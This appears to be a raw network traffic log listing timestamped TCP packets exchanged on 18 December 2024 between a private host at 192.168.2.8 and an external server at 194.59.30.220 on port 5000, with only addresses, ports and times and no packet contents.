Dec 18, 2024 11:56:25.595458984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.595513105 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.595545053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.596097946 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.596148968 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.596179962 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.596905947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.596955061 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.597033024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.597881079 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.597937107 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.597970009 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.598829985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.598881960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.599006891 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.599803925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.599857092 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.599895000 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.600714922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.600766897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.600804090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.601670980 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.601722002 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.601752996 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.602689028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.602739096 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.602823973 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.603681087 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.603733063 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.603755951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.604532957 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.604584932 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.604665041 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.605592012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.605643988 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.605739117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.606472015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.606518030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.606549978 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.607376099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.607425928 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.607458115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.608361959 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.608414888 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.608447075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.609370947 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.609383106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.609422922 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.610053062 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.610102892 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.610168934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.610765934 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.610812902 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.610845089 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.611674070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.611685991 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.611722946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.612400055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.612445116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.612472057 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.613435984 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.613490105 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.613600969 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.614500046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.614550114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.614680052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.615478992 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.615526915 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.615856886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.616817951 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.616863012 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.616897106 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.618061066 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.618108988 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.618315935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.619137049 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.619180918 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.619237900 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.620193958 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.620246887 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.620307922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.621476889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.621517897 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.621539116 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.622487068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.622498989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.622545004 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.623357058 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.623437881 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.623445034 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.624178886 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.624191046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.624253035 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.624965906 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.625022888 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.625055075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.625732899 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.625783920 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.625797987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.626420021 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.626463890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.626470089 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.627163887 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.627211094 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.627321005 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.628158092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.628205061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.628211021 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.629411936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.629465103 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.629468918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.630188942 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.630196095 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.630273104 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.630902052 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.630914927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.630954981 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.631985903 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.632045984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.632054090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.632801056 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.632854939 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.632862091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.633424044 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.633476973 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.640782118 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.640909910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.640978098 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.641175032 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.641380072 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.641433954 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.641940117 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.642087936 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.642138958 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.642674923 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.682840109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.778584003 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.778852940 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.778865099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.778933048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.778949022 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.779001951 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.779968023 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.779980898 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.780034065 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.780805111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.780937910 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.780987978 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.781614065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.781635046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.781682014 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.782294035 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.782310963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.782361984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.782849073 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.782944918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.782989025 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.783864975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.784038067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.784089088 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.784635067 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.784688950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.784743071 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.785557985 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.785795927 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.785840034 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.786986113 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.787024975 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.787089109 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.787548065 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.787664890 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.787712097 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.788285017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.788415909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.788465023 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.789216042 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.789283037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.789330959 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.790133953 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.790203094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.790258884 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.791081905 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.791095018 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.791136026 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.792076111 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.792227983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.792269945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.792784929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.792963982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.793006897 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.793677092 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.793937922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.793982029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.794545889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.794660091 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.794703960 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.795469046 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.795481920 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.795542955 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.796343088 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.796545982 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.796596050 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.797375917 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.797491074 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.797575951 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.798218966 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.798412085 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.798506975 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.799129963 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.799175024 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.799230099 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.799906015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.800024986 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.800076962 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.800865889 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.800997972 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.801047087 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.801875114 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.801887989 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.801945925 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.802751064 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.802825928 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.802871943 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.803673983 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.803793907 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.803838015 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.804436922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.804718971 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.804771900 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.805377960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.805581093 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.805632114 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.806307077 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.806325912 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.806375027 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.807202101 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.807358027 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.807405949 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.808068037 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.808100939 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.808147907 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.808927059 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.808979988 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.809026957 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.809972048 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.809984922 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.810038090 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.810739994 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.811033010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.811083078 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.811599970 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.811695099 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.811743975 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.812663078 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.812757015 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.812810898 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.813853025 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.814054012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.814100981 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.814858913 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.814872026 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.814923048 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.815541029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.815773010 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.815819979 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.816668987 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.816761017 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.816813946 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.817725897 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.817892075 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.817939997 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.818701029 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.818866014 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.818916082 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.819730997 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.820019960 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.820072889 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.821027040 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.821039915 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.821089029 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.821666002 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.821679115 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.821722984 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.822371006 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.822384119 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.822434902 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.830895901 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.830914974 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.830975056 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.831160069 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.831172943 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.831209898 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.832102060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.832114935 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.832159996 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.836245060 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.885911942 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.969273090 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.969291925 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.969368935 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.969809055 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.969822884 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.969867945 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.970561028 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.970575094 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.970618963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.971561909 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.971576929 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.971618891 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.972300053 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.972654104 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.972697020 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.973253012 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.973365068 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.973407030 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.974132061 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.974390030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.974431992 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.975114107 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.975255013 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.975327969 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.975970030 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.975992918 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.976036072 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.976872921 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.976887941 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.976932049 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.977932930 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.977947950 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.978132963 CET	49706	5000	192.168.2.8	194.59.30.220
Dec 18, 2024 11:56:25.978563070 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.978713036 CET	5000	49706	194.59.30.220	192.168.2.8
Dec 18, 2024 11:56:25.978759050 CET	49706	5000	192.168.2.8	194.59.30.220
